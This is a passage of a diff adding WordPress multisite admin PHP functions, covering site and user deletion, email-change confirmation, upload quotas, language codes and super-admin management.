+	update_blog_status( $blog_id, 'deleted', 1 );
+
+	$current_site = get_current_site();
+
+	// If a full blog object is not available, do not destroy anything.
+	if ( $drop && ! $blog ) {
+		$drop = false;
+	}
+
+	// Don't destroy the initial, main, or root blog.
+	if ( $drop && ( 1 == $blog_id || is_main_site( $blog_id ) || ( $blog->path == $current_site->path && $blog->domain == $current_site->domain ) ) ) {
+		$drop = false;
+	}
+
+	$upload_path = trim( get_option( 'upload_path' ) );
+
+	// If ms_files_rewriting is enabled and upload_path is empty, wp_upload_dir is not reliable.
+	if ( $drop && get_site_option( 'ms_files_rewriting' ) && empty( $upload_path ) ) {
+		$drop = false;
+	}
+
+	if ( $drop ) {
+		$uploads = wp_upload_dir();
+
+		$tables = $wpdb->tables( 'blog' );
+		/**
+		 * Filter the tables to drop when the blog is deleted.
+		 *
+		 * @since MU
+		 *
+		 * @param array $tables  The blog tables to be dropped.
+		 * @param int   $blog_id The ID of the blog to drop tables for.
+		 */
+		$drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $blog_id );
+
+		foreach ( (array) $drop_tables as $table ) {
+			$wpdb->query( "DROP TABLE IF EXISTS `$table`" );
+		}
+
+		$wpdb->delete( $wpdb->blogs, array( 'blog_id' => $blog_id ) );
+
+		/**
+		 * Filter the upload base directory to delete when the blog is deleted.
+		 *
+		 * @since MU
+		 *
+		 * @param string $uploads['basedir'] Uploads path without subdirectory. @see wp_upload_dir()
+		 * @param int    $blog_id            The blog ID.
+		 */
+		$dir = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $blog_id );
+		$dir = rtrim( $dir, DIRECTORY_SEPARATOR );
+		$top_dir = $dir;
+		$stack = array($dir);
+		$index = 0;
+
+		while ( $index < count( $stack ) ) {
+			# Get indexed directory from stack
+			$dir = $stack[$index];
+
+			$dh = @opendir( $dir );
+			if ( $dh ) {
+				while ( ( $file = @readdir( $dh ) ) !== false ) {
+					if ( $file == '.' || $file == '..' )
+						continue;
+
+					if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) )
+						$stack[] = $dir . DIRECTORY_SEPARATOR . $file;
+					else if ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) )
+						@unlink( $dir . DIRECTORY_SEPARATOR . $file );
+				}
+				@closedir( $dh );
+			}
+			$index++;
+		}
+
+		$stack = array_reverse( $stack ); // Last added dirs are deepest
+		foreach( (array) $stack as $dir ) {
+			if ( $dir != $top_dir)
+			@rmdir( $dir );
+		}
+
+		clean_blog_cache( $blog );
+	}
+
+	if ( $switch )
+		restore_current_blog();
+}
+
+/**
+ * Delete a user from the network and remove from all sites.
+ *
+ * @since 3.0.0
+ *
+ * @todo Merge with wp_delete_user() ?
+ *
+ * @param int $id The user ID.
+ * @return bool True if the user was deleted, otherwise false.
+ */
+function wpmu_delete_user( $id ) {
+	global $wpdb;
+
+	$id = (int) $id;
+	$user = new WP_User( $id );
+
+	if ( !$user->exists() )
+		return false;
+	/**
+	 * Fires before a user is deleted from the network.
+	 *
+	 * @since MU
+	 *
+	 * @param int $id ID of the user about to be deleted from the network.
+	 */
+	do_action( 'wpmu_delete_user', $id );
+
+	$blogs = get_blogs_of_user( $id );
+
+	if ( ! empty( $blogs ) ) {
+		foreach ( $blogs as $blog ) {
+			switch_to_blog( $blog->userblog_id );
+			remove_user_from_blog( $id, $blog->userblog_id );
+
+			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
+			foreach ( (array) $post_ids as $post_id ) {
+				wp_delete_post( $post_id );
+			}
+
+			// Clean links
+			$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
+
+			if ( $link_ids ) {
+				foreach ( $link_ids as $link_id )
+					wp_delete_link( $link_id );
+			}
+
+			restore_current_blog();
+		}
+	}
+
+	$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
+	foreach ( $meta as $mid )
+		delete_metadata_by_mid( 'user', $mid );
+
+	$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
+
+	clean_user_cache( $user );
+
+	/** This action is documented in wp-admin/includes/user.php */
+	do_action( 'deleted_user', $id );
+
+	return true;
+}
+
+/**
+ * Sends an email when a site administrator email address is changed.
+ *
+ * @since 3.0.0
+ *
+ * @param string $old_value The old email address. Not currently used.
+ * @param string $value     The new email address.
+ */
+function update_option_new_admin_email( $old_value, $value ) {
+	if ( $value == get_option( 'admin_email' ) || !is_email( $value ) )
+		return;
+
+	$hash = md5( $value. time() .mt_rand() );
+	$new_admin_email = array(
+		'hash' => $hash,
+		'newemail' => $value
+	);
+	update_option( 'adminhash', $new_admin_email );
+
+	$email_text = __( 'Dear user,
+
+You recently requested to have the administration email address on
+your site changed.
+If this is correct, please click on the following link to change it:
+###ADMIN_URL###
+
+You can safely ignore and delete this email if you do not want to
+take this action.
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+	/**
+	 * Filter the email text sent when the site admin email is changed.
+	 *
+	 * The following strings have a special meaning and will get replaced dynamically:
+	 * ###ADMIN_URL### The link to click on to confirm the email change. Required otherwise this functunalty is will break.
+	 * ###EMAIL###     The new email.
+	 * ###SITENAME###  The name of the site.
+	 * ###SITEURL###   The URL to the site.
+	 *
+	 * @since MU
+	 *
+	 * @param string $email_text      Text in the email.
+	 * @param string $new_admin_email New admin email that the current administration email was changed to.
+	 */
+	$content = apply_filters( 'new_admin_email_content', $email_text, $new_admin_email );
+
+	$content = str_replace( '###ADMIN_URL###', esc_url( admin_url( 'options.php?adminhash='.$hash ) ), $content );
+	$content = str_replace( '###EMAIL###', $value, $content );
+	$content = str_replace( '###SITENAME###', get_site_option( 'site_name' ), $content );
+	$content = str_replace( '###SITEURL###', network_home_url(), $content );
+
+	wp_mail( $value, sprintf( __( '[%s] New Admin Email Address' ), wp_specialchars_decode( get_option( 'blogname' ) ) ), $content );
+}
+add_action( 'update_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );
+add_action( 'add_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );
+
+/**
+ * Sends an email when an email address change is requested.
+ *
+ * @since 3.0.0
+ *
+ * @global object $errors WP_Error object.
+ * @global object $wpdb   WordPress database object.
+ */
+function send_confirmation_on_profile_email() {
+	global $errors, $wpdb;
+	$current_user = wp_get_current_user();
+	if ( ! is_object($errors) )
+		$errors = new WP_Error();
+
+	if ( $current_user->ID != $_POST['user_id'] )
+		return false;
+
+	if ( $current_user->user_email != $_POST['email'] ) {
+		if ( !is_email( $_POST['email'] ) ) {
+			$errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address isn&#8217;t correct." ), array( 'form-field' => 'email' ) );
+			return;
+		}
+
+		if ( $wpdb->get_var( $wpdb->prepare( "SELECT user_email FROM {$wpdb->users} WHERE user_email=%s", $_POST['email'] ) ) ) {
+			$errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address is already used." ), array( 'form-field' => 'email' ) );
+			delete_option( $current_user->ID . '_new_email' );
+			return;
+		}
+
+		$hash = md5( $_POST['email'] . time() . mt_rand() );
+		$new_user_email = array(
+				'hash' => $hash,
+				'newemail' => $_POST['email']
+				);
+		update_option( $current_user->ID . '_new_email', $new_user_email );
+
+		$email_text = __( 'Dear user,
+
+You recently requested to have the email address on your account changed.
+If this is correct, please click on the following link to change it:
+###ADMIN_URL###
+
+You can safely ignore and delete this email if you do not want to
+take this action.
+
+This email has been sent to ###EMAIL###
+
+Regards,
+All at ###SITENAME###
+###SITEURL###' );
+
+		/**
+		 * Filter the email text sent when a user changes emails.
+		 *
+		 * The following strings have a special meaning and will get replaced dynamically:
+		 * ###ADMIN_URL### The link to click on to confirm the email change. Required otherwise this functunalty is will break.
+		 * ###EMAIL### The new email.
+		 * ###SITENAME### The name of the site.
+		 * ###SITEURL### The URL to the site.
+		 *
+		 * @since MU
+		 *
+		 * @param string $email_text     Text in the email.
+		 * @param string $new_user_email New user email that the current user has changed to.
+		 */
+		$content = apply_filters( 'new_user_email_content', $email_text, $new_user_email );
+
+		$content = str_replace( '###ADMIN_URL###', esc_url( admin_url( 'profile.php?newuseremail='.$hash ) ), $content );
+		$content = str_replace( '###EMAIL###', $_POST['email'], $content);
+		$content = str_replace( '###SITENAME###', get_site_option( 'site_name' ), $content );
+		$content = str_replace( '###SITEURL###', network_home_url(), $content );
+
+		wp_mail( $_POST['email'], sprintf( __( '[%s] New Email Address' ), wp_specialchars_decode( get_option( 'blogname' ) ) ), $content );
+		$_POST['email'] = $current_user->user_email;
+	}
+}
+add_action( 'personal_options_update', 'send_confirmation_on_profile_email' );
+
+/**
+ * Adds an admin notice alerting the user to check for confirmation email
+ * after email address change.
+ *
+ * @since 3.0.0
+ */
+function new_user_email_admin_notice() {
+	if ( strpos( $_SERVER['PHP_SELF'], 'profile.php' ) && isset( $_GET['updated'] ) && $email = get_option( get_current_user_id() . '_new_email' ) )
+		echo "<div class='update-nag'>" . sprintf( __( "Your email address has not been updated yet. Please check your inbox at %s for a confirmation email." ), $email['newemail'] ) . "</div>";
+}
+add_action( 'admin_notices', 'new_user_email_admin_notice' );
+
+/**
+ * Check whether a blog has used its allotted upload space.
+ *
+ * @since MU
+ *
+ * @param bool $echo Optional. If $echo is set and the quota is exceeded, a warning message is echoed. Default is true.
+ * @return bool True if user is over upload space quota, otherwise false.
+ */
+function upload_is_user_over_quota( $echo = true ) {
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return false;
+
+	$space_allowed = get_space_allowed();
+	if ( empty( $space_allowed ) || !is_numeric( $space_allowed ) )
+		$space_allowed = 10; // Default space allowed is 10 MB
+
+	$space_used = get_space_used();
+
+	if ( ( $space_allowed - $space_used ) < 0 ) {
+		if ( $echo )
+			_e( 'Sorry, you have used your space allocation. Please delete some files to upload more files.' );
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Displays the amount of disk space used by the current blog. Not used in core.
+ *
+ * @since MU
+ */
+function display_space_usage() {
+	$space_allowed = get_space_allowed();
+	$space_used = get_space_used();
+
+	$percent_used = ( $space_used / $space_allowed ) * 100;
+
+	if ( $space_allowed > 1000 ) {
+		$space = number_format( $space_allowed / 1024 );
+		/* translators: Gigabytes */
+		$space .= __( 'GB' );
+	} else {
+		$space = number_format( $space_allowed );
+		/* translators: Megabytes */
+		$space .= __( 'MB' );
+	}
+	?>
+	<strong><?php printf( __( 'Used: %1$s%% of %2$s' ), number_format( $percent_used ), $space ); ?></strong>
+	<?php
+}
+
+/**
+ * Get the remaining upload space for this blog.
+ *
+ * @since MU
+ *
+ * @param int $size Current max size in bytes
+ * @return int Max size in bytes
+ */
+function fix_import_form_size( $size ) {
+	if ( upload_is_user_over_quota( false ) == true )
+		return 0;
+
+	$available = get_upload_space_available();
+	return min( $size, $available );
+}
+
+/**
+ * Displays the edit blog upload space setting form on the Edit Blog screen.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id The ID of the blog to display the setting for.
+ */
+function upload_space_setting( $id ) {
+	switch_to_blog( $id );
+	$quota = get_option( 'blog_upload_space' );
+	restore_current_blog();
+
+	if ( !$quota )
+		$quota = '';
+
+	?>
+	<tr>
+		<th><?php _e( 'Site Upload Space Quota '); ?></th>
+		<td><input type="number" step="1" min="0" style="width: 100px" name="option[blog_upload_space]" value="<?php echo $quota; ?>" /> <?php _e( 'MB (Leave blank for network default)' ); ?></td>
+	</tr>
+	<?php
+}
+add_action( 'wpmueditblogaction', 'upload_space_setting' );
+
+/**
+ * Update the status of a user in the database.
+ *
+ * Used in core to mark a user as spam or "ham" (not spam) in Multisite.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $id         The user ID.
+ * @param string $pref       The column in the wp_users table to update the user's status
+ *                           in (presumably user_status, spam, or deleted).
+ * @param int    $value      The new status for the user.
+ * @param null   $deprecated Deprecated as of 3.0.2 and should not be used.
+ * @return int   The initially passed $value.
+ */
+function update_user_status( $id, $pref, $value, $deprecated = null ) {
+	global $wpdb;
+
+	if ( null !== $deprecated )
+		_deprecated_argument( __FUNCTION__, '3.1' );
+
+	$wpdb->update( $wpdb->users, array( sanitize_key( $pref ) => $value ), array( 'ID' => $id ) );
+
+	$user = new WP_User( $id );
+	clean_user_cache( $user );
+
+	if ( $pref == 'spam' ) {
+		if ( $value == 1 ) {
+			/**
+			 * Fires after the user is marked as a SPAM user.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param int $id ID of the user marked as SPAM.
+			 */
+			do_action( 'make_spam_user', $id );
+		} else {
+			/**
+			 * Fires after the user is marked as a HAM user. Opposite of SPAM.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param int $id ID of the user marked as HAM.
+			 */
+			do_action( 'make_ham_user', $id );
+		}
+	}
+
+	return $value;
+}
+
+/**
+ * Cleans the user cache for a specific user.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id The user ID.
+ * @return bool|int The ID of the refreshed user or false if the user does not exist.
+ */
+function refresh_user_details( $id ) {
+	$id = (int) $id;
+
+	if ( !$user = get_userdata( $id ) )
+		return false;
+
+	clean_user_cache( $user );
+
+	return $id;
+}
+
+/**
+ * Returns the language for a language code.
+ *
+ * @since 3.0.0
+ *
+ * @param string $code Optional. The two-letter language code. Default empty.
+ * @return string The language corresponding to $code if it exists. If it does not exist,
+ *                then the first two letters of $code is returned.
+ */
+function format_code_lang( $code = '' ) {
+	$code = strtolower( substr( $code, 0, 2 ) );
+	$lang_codes = array(
+		'aa' => 'Afar', 'ab' => 'Abkhazian', 'af' => 'Afrikaans', 'ak' => 'Akan', 'sq' => 'Albanian', 'am' => 'Amharic', 'ar' => 'Arabic', 'an' => 'Aragonese', 'hy' => 'Armenian', 'as' => 'Assamese', 'av' => 'Avaric', 'ae' => 'Avestan', 'ay' => 'Aymara', 'az' => 'Azerbaijani', 'ba' => 'Bashkir', 'bm' => 'Bambara', 'eu' => 'Basque', 'be' => 'Belarusian', 'bn' => 'Bengali',
+		'bh' => 'Bihari', 'bi' => 'Bislama', 'bs' => 'Bosnian', 'br' => 'Breton', 'bg' => 'Bulgarian', 'my' => 'Burmese', 'ca' => 'Catalan; Valencian', 'ch' => 'Chamorro', 'ce' => 'Chechen', 'zh' => 'Chinese', 'cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic', 'cv' => 'Chuvash', 'kw' => 'Cornish', 'co' => 'Corsican', 'cr' => 'Cree',
+		'cs' => 'Czech', 'da' => 'Danish', 'dv' => 'Divehi; Dhivehi; Maldivian', 'nl' => 'Dutch; Flemish', 'dz' => 'Dzongkha', 'en' => 'English', 'eo' => 'Esperanto', 'et' => 'Estonian', 'ee' => 'Ewe', 'fo' => 'Faroese', 'fj' => 'Fijjian', 'fi' => 'Finnish', 'fr' => 'French', 'fy' => 'Western Frisian', 'ff' => 'Fulah', 'ka' => 'Georgian', 'de' => 'German', 'gd' => 'Gaelic; Scottish Gaelic',
+		'ga' => 'Irish', 'gl' => 'Galician', 'gv' => 'Manx', 'el' => 'Greek, Modern', 'gn' => 'Guarani', 'gu' => 'Gujarati', 'ht' => 'Haitian; Haitian Creole', 'ha' => 'Hausa', 'he' => 'Hebrew', 'hz' => 'Herero', 'hi' => 'Hindi', 'ho' => 'Hiri Motu', 'hu' => 'Hungarian', 'ig' => 'Igbo', 'is' => 'Icelandic', 'io' => 'Ido', 'ii' => 'Sichuan Yi', 'iu' => 'Inuktitut', 'ie' => 'Interlingue',
+		'ia' => 'Interlingua (International Auxiliary Language Association)', 'id' => 'Indonesian', 'ik' => 'Inupiaq', 'it' => 'Italian', 'jv' => 'Javanese', 'ja' => 'Japanese', 'kl' => 'Kalaallisut; Greenlandic', 'kn' => 'Kannada', 'ks' => 'Kashmiri', 'kr' => 'Kanuri', 'kk' => 'Kazakh', 'km' => 'Central Khmer', 'ki' => 'Kikuyu; Gikuyu', 'rw' => 'Kinyarwanda', 'ky' => 'Kirghiz; Kyrgyz',
+		'kv' => 'Komi', 'kg' => 'Kongo', 'ko' => 'Korean', 'kj' => 'Kuanyama; Kwanyama', 'ku' => 'Kurdish', 'lo' => 'Lao', 'la' => 'Latin', 'lv' => 'Latvian', 'li' => 'Limburgan; Limburger; Limburgish', 'ln' => 'Lingala', 'lt' => 'Lithuanian', 'lb' => 'Luxembourgish; Letzeburgesch', 'lu' => 'Luba-Katanga', 'lg' => 'Ganda', 'mk' => 'Macedonian', 'mh' => 'Marshallese', 'ml' => 'Malayalam',
+		'mi' => 'Maori', 'mr' => 'Marathi', 'ms' => 'Malay', 'mg' => 'Malagasy', 'mt' => 'Maltese', 'mo' => 'Moldavian', 'mn' => 'Mongolian', 'na' => 'Nauru', 'nv' => 'Navajo; Navaho', 'nr' => 'Ndebele, South; South Ndebele', 'nd' => 'Ndebele, North; North Ndebele', 'ng' => 'Ndonga', 'ne' => 'Nepali', 'nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian', 'nb' => 'Bokmål, Norwegian, Norwegian Bokmål',
+		'no' => 'Norwegian', 'ny' => 'Chichewa; Chewa; Nyanja', 'oc' => 'Occitan, Provençal', 'oj' => 'Ojibwa', 'or' => 'Oriya', 'om' => 'Oromo', 'os' => 'Ossetian; Ossetic', 'pa' => 'Panjabi; Punjabi', 'fa' => 'Persian', 'pi' => 'Pali', 'pl' => 'Polish', 'pt' => 'Portuguese', 'ps' => 'Pushto', 'qu' => 'Quechua', 'rm' => 'Romansh', 'ro' => 'Romanian', 'rn' => 'Rundi', 'ru' => 'Russian',
+		'sg' => 'Sango', 'sa' => 'Sanskrit', 'sr' => 'Serbian', 'hr' => 'Croatian', 'si' => 'Sinhala; Sinhalese', 'sk' => 'Slovak', 'sl' => 'Slovenian', 'se' => 'Northern Sami', 'sm' => 'Samoan', 'sn' => 'Shona', 'sd' => 'Sindhi', 'so' => 'Somali', 'st' => 'Sotho, Southern', 'es' => 'Spanish; Castilian', 'sc' => 'Sardinian', 'ss' => 'Swati', 'su' => 'Sundanese', 'sw' => 'Swahili',
+		'sv' => 'Swedish', 'ty' => 'Tahitian', 'ta' => 'Tamil', 'tt' => 'Tatar', 'te' => 'Telugu', 'tg' => 'Tajik', 'tl' => 'Tagalog', 'th' => 'Thai', 'bo' => 'Tibetan', 'ti' => 'Tigrinya', 'to' => 'Tonga (Tonga Islands)', 'tn' => 'Tswana', 'ts' => 'Tsonga', 'tk' => 'Turkmen', 'tr' => 'Turkish', 'tw' => 'Twi', 'ug' => 'Uighur; Uyghur', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'uz' => 'Uzbek',
+		've' => 'Venda', 'vi' => 'Vietnamese', 'vo' => 'Volapük', 'cy' => 'Welsh','wa' => 'Walloon','wo' => 'Wolof', 'xh' => 'Xhosa', 'yi' => 'Yiddish', 'yo' => 'Yoruba', 'za' => 'Zhuang; Chuang', 'zu' => 'Zulu' );
+
+	/**
+	 * Filter the language codes.
+	 *
+	 * @since MU
+	 *
+	 * @param array  $lang_codes Key/value pair of language codes where key is the short version.
+	 * @param string $code       A two-letter designation of the language.
+	 */
+	$lang_codes = apply_filters( 'lang_codes', $lang_codes, $code );
+	return strtr( $code, $lang_codes );
+}
+
+/**
+ * Synchronize category and post tag slugs when global terms are enabled.
+ *
+ * @since 3.0.0
+ *
+ * @param $term     The term.
+ * @param $taxonomy The taxonomy for $term. Should be 'category' or 'post_tag', as these are
+ *                  the only taxonomies which are processed by this function; anything else
+ *                  will be returned untouched.
+ * @return object|array Returns `$term`, after filtering the 'slug' field with {@see sanitize_title()}
+ *                      if $taxonomy is 'category' or 'post_tag'.
+ */
+function sync_category_tag_slugs( $term, $taxonomy ) {
+	if ( global_terms_enabled() && ( $taxonomy == 'category' || $taxonomy == 'post_tag' ) ) {
+		if ( is_object( $term ) ) {
+			$term->slug = sanitize_title( $term->name );
+		} else {
+			$term['slug'] = sanitize_title( $term['name'] );
+		}
+	}
+	return $term;
+}
+add_filter( 'get_term', 'sync_category_tag_slugs', 10, 2 );
+
+/**
+ * Displays an access denied message when a user tries to view a site's dashboard they
+ * do not have access to.
+ *
+ * @since 3.2.0
+ * @access private
+ */
+function _access_denied_splash() {
+	if ( ! is_user_logged_in() || is_network_admin() )
+		return;
+
+	$blogs = get_blogs_of_user( get_current_user_id() );
+
+	if ( wp_list_filter( $blogs, array( 'userblog_id' => get_current_blog_id() ) ) )
+		return;
+
+	$blog_name = get_bloginfo( 'name' );
+
+	if ( empty( $blogs ) )
+		wp_die( sprintf( __( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ) );
+
+	$output = '<p>' . sprintf( __( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ) . '</p>';
+	$output .= '<p>' . __( 'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '</p>';
+
+	$output .= '<h3>' . __('Your Sites') . '</h3>';
+	$output .= '<table>';
+
+	foreach ( $blogs as $blog ) {
+		$output .= '<tr>';
+		$output .= "<td>{$blog->blogname}</td>";
+		$output .= '<td><a href="' . esc_url( get_admin_url( $blog->userblog_id ) ) . '">' . __( 'Visit Dashboard' ) . '</a> | ' .
+			'<a href="' . esc_url( get_home_url( $blog->userblog_id ) ). '">' . __( 'View Site' ) . '</a></td>';
+		$output .= '</tr>';
+	}
+
+	$output .= '</table>';
+
+	wp_die( $output );
+}
+add_action( 'admin_page_access_denied', '_access_denied_splash', 99 );
+
+/**
+ * Checks if the current user has permissions to import new users.
+ *
+ * @since 3.0.0
+ *
+ * @param string $permission A permission to be checked. Currently not used.
+ * @return bool True if the user has proper permissions, false if they do not.
+ */
+function check_import_new_users( $permission ) {
+	if ( !is_super_admin() )
+		return false;
+	return true;
+}
+add_filter( 'import_allow_create_users', 'check_import_new_users' );
+// See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too.
+
+/**
+ * Generates and displays a drop-down of available languages.
+ *
+ * @since 3.0.0
+ *
+ * @param array  $lang_files Optional. An array of the language files. Default empty array.
+ * @param string $current    Optional. The current language code. Default empty.
+ */
+function mu_dropdown_languages( $lang_files = array(), $current = '' ) {
+	$flag = false;
+	$output = array();
+
+	foreach ( (array) $lang_files as $val ) {
+		$code_lang = basename( $val, '.mo' );
+
+		if ( $code_lang == 'en_US' ) { // American English
+			$flag = true;
+			$ae = __( 'American English' );
+			$output[$ae] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $ae . '</option>';
+		} elseif ( $code_lang == 'en_GB' ) { // British English
+			$flag = true;
+			$be = __( 'British English' );
+			$output[$be] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $be . '</option>';
+		} else {
+			$translated = format_code_lang( $code_lang );
+			$output[$translated] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . esc_html ( $translated ) . '</option>';
+		}
+
+	}
+
+	if ( $flag === false ) // WordPress english
+		$output[] = '<option value=""' . selected( $current, '', false ) . '>' . __( 'English' ) . "</option>";
+
+	// Order by name
+	uksort( $output, 'strnatcasecmp' );
+
+	/**
+	 * Filter the languages available in the dropdown.
+	 *
+	 * @since MU
+	 *
+	 * @param array $output     HTML output of the dropdown.
+	 * @param array $lang_files Available language files.
+	 * @param string $current   The current language code.
+	 */
+	$output = apply_filters( 'mu_dropdown_languages', $output, $lang_files, $current );
+
+	echo implode( "\n\t", $output );
+}
+
+/**
+ * Displays an admin notice to upgrade all sites after a core upgrade.
+ *
+ * @since 3.0.0
+ *
+ * @global int $wp_db_version The version number of the database.
+ */
+function site_admin_notice() {
+	global $wp_db_version;
+	if ( !is_super_admin() )
+		return false;
+	if ( get_site_option( 'wpmu_upgrade_site' ) != $wp_db_version )
+		echo "<div class='update-nag'>" . sprintf( __( 'Thank you for Updating! Please visit the <a href="%s">Upgrade Network</a> page to update all your sites.' ), esc_url( network_admin_url( 'upgrade.php' ) ) ) . "</div>";
+}
+add_action( 'admin_notices', 'site_admin_notice' );
+add_action( 'network_admin_notices', 'site_admin_notice' );
+
+/**
+ * Avoids a collision between a site slug and a permalink slug.
+ *
+ * In a subdirectory install this will make sure that a site and a post do not use the
+ * same subdirectory by checking for a site with the same name as a new post.
+ *
+ * @since 3.0.0
+ *
+ * @param array $data    An array of post data.
+ * @param array $postarr An array of posts. Not currently used.
+ * @return array The new array of post data after checking for collisions.
+ */
+function avoid_blog_page_permalink_collision( $data, $postarr ) {
+	if ( is_subdomain_install() )
+		return $data;
+	if ( $data['post_type'] != 'page' )
+		return $data;
+	if ( !isset( $data['post_name'] ) || $data['post_name'] == '' )
+		return $data;
+	if ( !is_main_site() )
+		return $data;
+
+	$post_name = $data['post_name'];
+	$c = 0;
+	while( $c < 10 && get_id_from_blogname( $post_name ) ) {
+		$post_name .= mt_rand( 1, 10 );
+		$c ++;
+	}
+	if ( $post_name != $data['post_name'] ) {
+		$data['post_name'] = $post_name;
+	}
+	return $data;
+}
+add_filter( 'wp_insert_post_data', 'avoid_blog_page_permalink_collision', 10, 2 );
+
+/**
+ * Handles the display of choosing a user's primary site.
+ *
+ * This displays the user's primary site and allows the user to choose
+ * which site is primary.
+ *
+ * @since 3.0.0
+ */
+function choose_primary_blog() {
+	?>
+	<table class="form-table">
+	<tr>
+	<?php /* translators: My sites label */ ?>
+		<th scope="row"><?php _e( 'Primary Site' ); ?></th>
+		<td>
+		<?php
+		$all_blogs = get_blogs_of_user( get_current_user_id() );
+		$primary_blog = get_user_meta( get_current_user_id(), 'primary_blog', true );
+		if ( count( $all_blogs ) > 1 ) {
+			$found = false;
+			?>
+			<select name="primary_blog">
+				<?php foreach( (array) $all_blogs as $blog ) {
+					if ( $primary_blog == $blog->userblog_id )
+						$found = true;
+					?><option value="<?php echo $blog->userblog_id ?>"<?php selected( $primary_blog, $blog->userblog_id ); ?>><?php echo esc_url( get_home_url( $blog->userblog_id ) ) ?></option><?php
+				} ?>
+			</select>
+			<?php
+			if ( !$found ) {
+				$blog = array_shift( $all_blogs );
+				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
+			}
+		} elseif ( count( $all_blogs ) == 1 ) {
+			$blog = array_shift( $all_blogs );
+			echo $blog->domain;
+			if ( $primary_blog != $blog->userblog_id ) // Set the primary blog again if it's out of sync with blog list.
+				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
+		} else {
+			echo "N/A";
+		}
+		?>
+		</td>
+	</tr>
+	<?php if ( in_array( get_site_option( 'registration' ), array( 'all', 'blog' ) ) ) : ?>
+		<tr>
+			<th scope="row" colspan="2" class="th-full">
+				<?php
+				/** This filter is documented in wp-login.php */
+				$sign_up_url = apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) );
+				?>
+				<a href="<?php echo esc_url( $sign_up_url ); ?>"><?php _e( 'Create a New Site' ); ?></a>
+			</th>
+		</tr>
+	<?php endif; ?>
+	</table>
+	<?php
+}
+
+/**
+ * Grants Super Admin privileges.
+ *
+ * @since 3.0.0
+ *
+ * @param int $user_id ID of the user to be granted Super Admin privileges.
+ * @return bool True on success, false on failure. This can fail when the user is
+ *              already a super admin or when the `$super_admins` global is defined.
+ */
+function grant_super_admin( $user_id ) {
+	// If global super_admins override is defined, there is nothing to do here.
+	if ( isset( $GLOBALS['super_admins'] ) ) {
+		return false;
+	}
+
+	/**
+	 * Fires before the user is granted Super Admin privileges.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $user_id ID of the user that is about to be granted Super Admin privileges.
+	 */
+	do_action( 'grant_super_admin', $user_id );
+
+	// Directly fetch site_admins instead of using get_super_admins()
+	$super_admins = get_site_option( 'site_admins', array( 'admin' ) );
+
+	$user = get_userdata( $user_id );
+	if ( $user && ! in_array( $user->user_login, $super_admins ) ) {
+		$super_admins[] = $user->user_login;
+		update_site_option( 'site_admins' , $super_admins );
+
+		/**
+		 * Fires after the user is granted Super Admin privileges.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param int $user_id ID of the user that was granted Super Admin privileges.
+		 */
+		do_action( 'granted_super_admin', $user_id );
+		return true;
+	}
+	return false;
+}
+
+/**
+ * Revokes Super Admin privileges.
+ *
+ * @since 3.0.0
+ *
+ * @param int $user_id ID of the user Super Admin privileges to be revoked from.
+ * @return bool True on success, false on failure. This can fail when the user's email
+ *              is the network admin email or when the `$super_admins` global is defined.
+ */
+function revoke_super_admin( $user_id ) {
+	// If global super_admins override is defined, there is nothing to do here.
+	if ( isset( $GLOBALS['super_admins'] ) ) {
+		return false;
+	}
+
+	/**
+	 * Fires before the user's Super Admin privileges are revoked.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $user_id ID of the user Super Admin privileges are being revoked from.
+	 */
+	do_action( 'revoke_super_admin', $user_id );
+
+	// Directly fetch site_admins instead of using get_super_admins()
+	$super_admins = get_site_option( 'site_admins', array( 'admin' ) );
+
+	$user = get_userdata( $user_id );
+	if ( $user && 0 !== strcasecmp( $user->user_email, get_site_option( 'admin_email' ) ) ) {
+		if ( false !== ( $key = array_search( $user->user_login, $super_admins ) ) ) {
+			unset( $super_admins[$key] );
+			update_site_option( 'site_admins', $super_admins );
+
+			/**
+			 * Fires after the user's Super Admin privileges are revoked.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param int $user_id ID of the user Super Admin privileges were revoked from.
+			 */
+			do_action( 'revoked_super_admin', $user_id );
+			return true;
+		}
+	}
+	return false;
+}
+
+/**
